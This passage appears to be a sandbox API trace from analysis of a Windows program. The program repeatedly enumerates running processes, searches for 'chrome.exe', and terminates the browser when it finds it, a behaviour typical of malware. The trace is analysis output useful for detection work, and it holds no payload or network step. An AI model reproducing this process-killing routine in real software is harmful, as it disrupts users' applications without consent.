th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.911] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.911] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.912] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.912] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0117.913] lstrcmpiW (lpString1="audiodg.exe", lpString2="chrome.exe") returned -1 [0117.913] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.915] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.915] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.916] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.916] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0117.917] lstrcmpiW (lpString1="dwm.exe", lpString2="chrome.exe") returned 1 [0117.917] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0117.918] lstrcmpiW (lpString1="explorer.exe", lpString2="chrome.exe") returned 1 [0117.918] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0117.919] lstrcmpiW (lpString1="spoolsv.exe", lpString2="chrome.exe") returned 1 [0117.919] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.920] lstrcmpiW (lpString1="taskhost.exe", lpString2="chrome.exe") returned 1 [0117.920] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.922] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.922] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0117.923] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="chrome.exe") returned 1 [0117.923] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.924] lstrcmpiW (lpString1="taskeng.exe", lpString2="chrome.exe") returned 1 [0117.924] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0117.925] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="chrome.exe") returned 1 [0117.925] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.926] lstrcmpiW (lpString1="taskhost.exe", lpString2="chrome.exe") returned 1 [0117.926] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nr nutrition.exe")) returned 1 [0117.927] lstrcmpiW (lpString1="nr nutrition.exe", lpString2="chrome.exe") returned 1 [0117.927] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="beat.exe")) returned 1 [0117.929] lstrcmpiW (lpString1="beat.exe", lpString2="chrome.exe") returned -1 [0117.929] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="refers.exe")) returned 1 [0117.930] lstrcmpiW (lpString1="refers.exe", lpString2="chrome.exe") returned 1 [0117.930] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="additions.exe")) returned 1 [0117.931] lstrcmpiW (lpString1="additions.exe", lpString2="chrome.exe") returned -1 [0117.931] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="clusters attack.exe")) returned 1 [0117.932] lstrcmpiW (lpString1="clusters attack.exe", lpString2="chrome.exe") returned 1 [0117.932] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="oriental.exe")) returned 1 [0117.933] lstrcmpiW (lpString1="oriental.exe", lpString2="chrome.exe") returned 1 [0117.933] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="protective quite sessions.exe")) returned 1 [0117.934] lstrcmpiW (lpString1="protective quite sessions.exe", lpString2="chrome.exe") returned 1 [0117.934] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="mumbai.exe")) returned 1 [0117.935] lstrcmpiW (lpString1="mumbai.exe", lpString2="chrome.exe") returned 1 [0117.935] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ps-workstation.exe")) returned 1 [0117.937] lstrcmpiW (lpString1="ps-workstation.exe", lpString2="chrome.exe") returned 1 [0117.937] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="today.exe")) returned 1 [0117.938] lstrcmpiW (lpString1="today.exe", lpString2="chrome.exe") returned 1 [0117.938] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dishesproductioncottage.exe")) returned 1 [0117.939] lstrcmpiW (lpString1="dishesproductioncottage.exe", lpString2="chrome.exe") returned 1 [0117.939] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="unfortunatelyafterwardsemission.exe")) returned 1 [0117.940] lstrcmpiW (lpString1="unfortunatelyafterwardsemission.exe", lpString2="chrome.exe") returned 1 [0117.940] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="weblogs-waters.exe")) returned 1 [0117.941] lstrcmpiW (lpString1="weblogs-waters.exe", lpString2="chrome.exe") returned 1 [0117.941] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x238, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1 [0117.942] lstrcmpiW (lpString1="plaintiff.exe", lpString2="chrome.exe") returned 1 [0117.942] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensborooregon.exe")) returned 1 [0117.957] lstrcmpiW (lpString1="greensborooregon.exe", lpString2="chrome.exe") returned 1 [0117.957] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chartspresently.exe")) returned 1 [0117.992] lstrcmpiW (lpString1="chartspresently.exe", lpString2="chrome.exe") returned -1 [0117.992] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ir grey.exe")) returned 1 [0117.994] lstrcmpiW (lpString1="ir grey.exe", lpString2="chrome.exe") returned 1 [0117.994] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="know.exe")) returned 1 [0117.995] lstrcmpiW (lpString1="know.exe", lpString2="chrome.exe") returned 1 [0117.995] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement_float_disability.exe")) returned 1 [0117.996] lstrcmpiW (lpString1="requirement_float_disability.exe", lpString2="chrome.exe") returned 1 [0117.996] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="licenses_miss.exe")) returned 1 [0117.997] lstrcmpiW (lpString1="licenses_miss.exe", lpString2="chrome.exe") returned 1 [0117.997] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.998] lstrcmpiW (lpString1="WmiPrvSE.exe", lpString2="chrome.exe") returned 1 [0117.998] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0117.999] lstrcmpiW (lpString1="iexplore.exe", lpString2="chrome.exe") returned 1 [0117.999] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome.exe")) returned 1 [0118.000] lstrcmpiW (lpString1="chrome.exe", lpString2="chrome.exe") returned 0 [0118.000] CloseHandle (hObject=0xa90) returned 1 [0118.001] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xb70) returned 0xa90 [0118.001] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 [0118.001] TerminateProcess (hProcess=0xa90, uExitCode=0x0) returned 0 [0118.214] CloseHandle (hObject=0xa90) returned 1 [0118.214] lstrlenA (lpString="chrome.exe") returned 10 [0118.215] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x16) returned 0x9b6dc50 [0118.215] mbstowcs (in: _Dest=0x9b6dc50, _Source="chrome.exe", _MaxCount=0xb | out: _Dest="chrome.exe") returned 0xa [0118.215] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0118.219] Process32FirstW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.220] lstrcmpiW (lpString1="[System Process]", lpString2="chrome.exe") returned -1 [0118.220] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.221] lstrcmpiW (lpString1="System", lpString2="chrome.exe") returned 1 [0118.221] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.222] lstrcmpiW (lpString1="smss.exe", lpString2="chrome.exe") returned 1 [0118.222] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.224] lstrcmpiW (lpString1="csrss.exe", lpString2="chrome.exe") returned 1 [0118.224] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.225] lstrcmpiW (lpString1="wininit.exe", lpString2="chrome.exe") returned 1 [0118.225] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.226] lstrcmpiW (lpString1="csrss.exe", lpString2="chrome.exe") returned 1 [0118.226] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.227] lstrcmpiW (lpString1="winlogon.exe", lpString2="chrome.exe") returned 1 [0118.227] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0118.228] lstrcmpiW (lpString1="services.exe", lpString2="chrome.exe") returned 1 [0118.228] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0118.229] lstrcmpiW (lpString1="lsass.exe", lpString2="chrome.exe") returned 1 [0118.229] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0118.231] lstrcmpiW (lpString1="lsm.exe", lpString2="chrome.exe") returned 1 [0118.231] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.232] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.232] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.233] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.233] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.234] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.234] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.235] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.235] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.236] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.236] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.237] lstrcmpiW (lpString1="audiodg.exe", lpString2="chrome.exe") returned -1 [0118.237] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.239] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.239] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.240] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.240] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0118.241] lstrcmpiW (lpString1="dwm.exe", lpString2="chrome.exe") returned 1 [0118.241] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.242] lstrcmpiW (lpString1="explorer.exe", lpString2="chrome.exe") returned 1 [0118.242] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0118.244] lstrcmpiW (lpString1="spoolsv.exe", lpString2="chrome.exe") returned 1 [0118.244] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.245] lstrcmpiW (lpString1="taskhost.exe", lpString2="chrome.exe") returned 1 [0118.245] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.246] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0118.246] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0118.247] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="chrome.exe") returned 1 [0118.247] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.248] lstrcmpiW (lpString1="taskeng.exe", lpString2="chrome.exe") returned 1 [0118.248] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0118.249] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="chrome.exe") returned 1 [0118.249] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.251] lstrcmpiW (lpString1="taskhost.exe", lpString2="chrome.exe") returned 1 [0118.251] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nr nutrition.exe")) returned 1 [0118.252] lstrcmpiW (lpString1="nr nutrition.exe", lpString2="chrome.exe") returned 1 [0118.252] Process32NextW (in: 